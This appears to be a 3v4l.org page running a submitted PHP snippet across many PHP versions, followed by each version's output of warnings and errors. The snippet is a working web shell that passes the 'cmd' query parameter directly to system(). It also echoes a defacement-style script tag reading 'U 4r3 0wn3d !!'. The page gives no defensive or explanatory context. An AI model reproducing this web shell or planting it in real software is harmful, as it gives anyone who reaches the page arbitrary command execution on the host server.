3v4l.org

run code in 300+ PHP versions simultaneously
<?php echo "<script>alert(U 4r3 0wn3d !!);</script>"; echo "Run command: ".htmlspecialchars($_GET['cmd']); system($_GET['cmd']); ?>
Output for 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.4, 8.3.6
<script>alert(U 4r3 0wn3d !!);</script> Warning: Undefined array key "cmd" in /in/r43mm on line 3 Deprecated: htmlspecialchars(): Passing null to parameter #1 ($string) of type string is deprecated in /in/r43mm on line 3 Run command: Warning: Undefined array key "cmd" in /in/r43mm on line 5 Deprecated: system(): Passing null to parameter #1 ($command) of type string is deprecated in /in/r43mm on line 5 Fatal error: Uncaught ValueError: system(): Argument #1 ($command) cannot be empty in /in/r43mm:5 Stack trace: #0 /in/r43mm(5): system('') #1 {main} thrown in /in/r43mm on line 5
Process exited with code 255.
Output for 8.3.5
Warning: PHP Startup: Unable to load dynamic library 'sodium.so' (tried: /usr/lib/php/8.3.5/modules/sodium.so (libsodium.so.23: cannot open shared object file: No such file or directory), /usr/lib/php/8.3.5/modules/sodium.so.so (/usr/lib/php/8.3.5/modules/sodium.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 <script>alert(U 4r3 0wn3d !!);</script> Warning: Undefined array key "cmd" in /in/r43mm on line 3 Deprecated: htmlspecialchars(): Passing null to parameter #1 ($string) of type string is deprecated in /in/r43mm on line 3 Run command: Warning: Undefined array key "cmd" in /in/r43mm on line 5 Deprecated: system(): Passing null to parameter #1 ($command) of type string is deprecated in /in/r43mm on line 5 Fatal error: Uncaught ValueError: system(): Argument #1 ($command) cannot be empty in /in/r43mm:5 Stack trace: #0 /in/r43mm(5): system('') #1 {main} thrown in /in/r43mm on line 5
Process exited with code 255.
Output for 8.0.0 - 8.0.30
<script>alert(U 4r3 0wn3d !!);</script> Warning: Undefined array key "cmd" in /in/r43mm on line 3 Run command: Warning: Undefined array key "cmd" in /in/r43mm on line 5 Fatal error: Uncaught ValueError: system(): Argument #1 ($command) cannot be empty in /in/r43mm:5 Stack trace: #0 /in/r43mm(5): system('') #1 {main} thrown in /in/r43mm on line 5
Process exited with code 255.
Output for 5.5.0 - 5.5.38, 5.6.0 - 5.6.40, 7.0.0 - 7.0.33, 7.1.0 - 7.1.33, 7.2.0 - 7.2.34, 7.3.0 - 7.3.31, 7.4.0 - 7.4.33
<script>alert(U 4r3 0wn3d !!);</script> Notice: Undefined index: cmd in /in/r43mm on line 3 Run command: Notice: Undefined index: cmd in /in/r43mm on line 5 Warning: system(): Cannot execute a blank command in /in/r43mm on line 5
Output for 7.3.32 - 7.3.33
<script>alert(U 4r3 0wn3d !!);</script>Run command: Warning: system(): Cannot execute a blank command in /in/r43mm on line 5

preferences:
231.75 ms | 401 KiB | 339 Q